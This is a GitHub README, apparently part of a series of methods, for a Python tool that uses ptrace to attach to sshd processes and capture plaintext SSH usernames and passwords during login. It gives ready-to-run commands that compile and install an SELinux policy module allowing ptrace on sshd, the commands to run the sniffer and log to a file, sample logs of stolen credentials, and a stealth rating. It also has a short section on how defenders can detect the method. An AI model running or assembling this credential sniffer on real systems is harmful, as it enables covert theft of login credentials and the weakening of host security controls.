Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

README.md

Method 05: ptrace

SELinux Secure Boot

Attach to sshd processes using ptrace to intercept syscalls and read memory

This method uses the ptrace system call (the same mechanism used by debuggers like GDB) to attach to sshd child processes and intercept credentials from their memory during authentication.


📊 Method Summary

Attribute Value
Performance ⭐⭐ Context-switch overhead
Stealth ⭐⭐ Tracer process visible
Invalid Users ✅ Captures all
SELinux ❌ Policy changes required
Secure Boot ✅ Compatible
Complexity High

⚠️ SELinux Policy Required

With SELinux in Enforcing mode, you must install a policy module to allow ptrace on sshd processes:

# Create the policy module
cat > /tmp/sshd_ptrace.te << 'EOF'
module sshd_ptrace 1.0;
require {
    type sshd_t;
    type unconfined_t;
    class process { ptrace };
}
allow unconfined_t sshd_t:process ptrace;
EOF

# Compile and install
checkmodule -M -m -o /tmp/sshd_ptrace.mod /tmp/sshd_ptrace.te
semodule_package -o /tmp/sshd_ptrace.pp -m /tmp/sshd_ptrace.mod
semodule -i /tmp/sshd_ptrace.pp

# Clean up
rm -f /tmp/sshd_ptrace.te /tmp/sshd_ptrace.mod /tmp/sshd_ptrace.pp

# Verify
semodule -l | grep sshd_ptrace

Remove SELinux Policy

semodule -r sshd_ptrace

🔬 How It Works

flowchart TB
    subgraph "Sniffer Process"
        A[Monitor /proc] --> B[Detect sshd children]
        B --> C[ptrace ATTACH]
        C --> D[ptrace SYSCALL]
        D --> E{Syscall?}
        E -->|read/write| F[ptrace PEEKDATA]
        F --> G[Extract credentials]
        G --> H[Log output]
        E -->|other| D
    end
    
    subgraph "sshd Process"
        I[sshd child] --> J[read credentials]
        J --> K[write to privsep pipe]
    end
    
    C -.->|attach| I
    F -.->|read memory| J
    
    style A fill:#3498db
    style H fill:#2ecc71
Loading

ptrace Operations Used

Operation Purpose
PTRACE_ATTACH Attach to target process
PTRACE_SYSCALL Stop at next syscall entry/exit
PTRACE_GETREGS Read register values (syscall args)
PTRACE_PEEKDATA Read process memory
PTRACE_DETACH Detach from process

🚀 Quick Start

# Install SELinux policy first (see above)

# Run the sniffer
sudo ./ssh-sniffer-ptrace.py

# With output to file
sudo ./ssh-sniffer-ptrace.py -o /var/log/ssh-sniffer.log

📋 Commands

Command Description
./ssh-sniffer-ptrace.py Run in foreground
./ssh-sniffer-ptrace.py -o FILE Output to file
./ssh-sniffer-ptrace.py --help Show help

📝 Output Format

time=2025-01-15T10:30:45,src_ip=192.168.1.100,user=root,password=secret123,status=success
time=2025-01-15T10:31:02,src_ip=192.168.1.100,user=admin,password=wrongpass,status=failed
time=2025-01-15T10:31:15,src_ip=192.168.1.100,user=invaliduser,password=guessed,status=failed_invalid_user

Status Values

Status Description
success Valid user, correct password
failed Valid user, wrong password
invalid_user Username doesn't exist (detected early)
failed_invalid_user Username doesn't exist, password attempted

⚙️ Technical Details

Architecture (x86_64)

The script uses the x86_64 register structure to read syscall arguments:

class Regs(ctypes.Structure):
    _fields_ = [
        ("r15", c_ulonglong), ("r14", c_ulonglong), ...
        ("rdi", c_ulonglong),  # fd (arg1)
        ("rsi", c_ulonglong),  # buf (arg2)
        ("rdx", c_ulonglong),  # count (arg3)
        ("orig_rax", c_ulonglong),  # syscall number
        ("rax", c_ulonglong),  # return value
        ...
    ]

Syscall Interception

Syscall Number Arguments
read 0 fd, buf, count
write 1 fd, buf, count

Auth Log Correlation

The script monitors /var/log/secure to correlate captured credentials with authentication outcomes:

flowchart LR
    A[ptrace captures<br/>username + password] --> B[Store by IP]
    C[Auth log event] --> D[Lookup password by IP]
    D --> E[Output with status]
Loading

🔍 Verification

# Check SELinux policy
semodule -l | grep sshd_ptrace

# Check for SELinux denials
ausearch -m AVC -ts recent | grep sshd

# Verify ptrace_scope (should be 0 or 1)
cat /proc/sys/kernel/yama/ptrace_scope

# Test capture
ssh -o PreferredAuthentications=password testuser@localhost

⚠️ Important Notes

  1. SELinux Required: Must install SELinux policy module
  2. Visible Process: The sniffer process is visible in ps
  3. Race Conditions: First connection after start may miss password
  4. x86_64 Only: Register structure is architecture-specific
  5. Auth Log Dependency: Requires /var/log/secure for status correlation

🛡️ Detection

Defenders can detect this method by:

# Check for processes tracing sshd
grep TracerPid /proc/$(pgrep -o sshd)/status

# Look for ptrace-related SELinux policies
semodule -l | grep -i ptrace

# Monitor for SELinux policy installations
ausearch -m MAC_POLICY_LOAD

# Check for suspicious Python processes
ps aux | grep -E 'ptrace|sniffer'

# Check ptrace_scope setting
cat /proc/sys/kernel/yama/ptrace_scope

🔄 Cleanup

# Stop the sniffer
Ctrl+C (or kill the process)

# Remove SELinux policy
sudo semodule -r sshd_ptrace

# Verify removal
semodule -l | grep sshd_ptrace  # Should return nothing

📊 Limitations

Limitation Reason
First connection may miss password Race between process spawn and attach
Key-based auth not captured No password involved
GSSAPI/Kerberos not captured Different authentication protocol
Performance overhead Context switches for each syscall

📚 Requirements

  • Python 3.6+
  • Root privileges (or CAP_SYS_PTRACE)
  • Linux x86_64
  • SELinux policy installed (if SELinux Enforcing)
  • OpenSSH with privilege separation (default)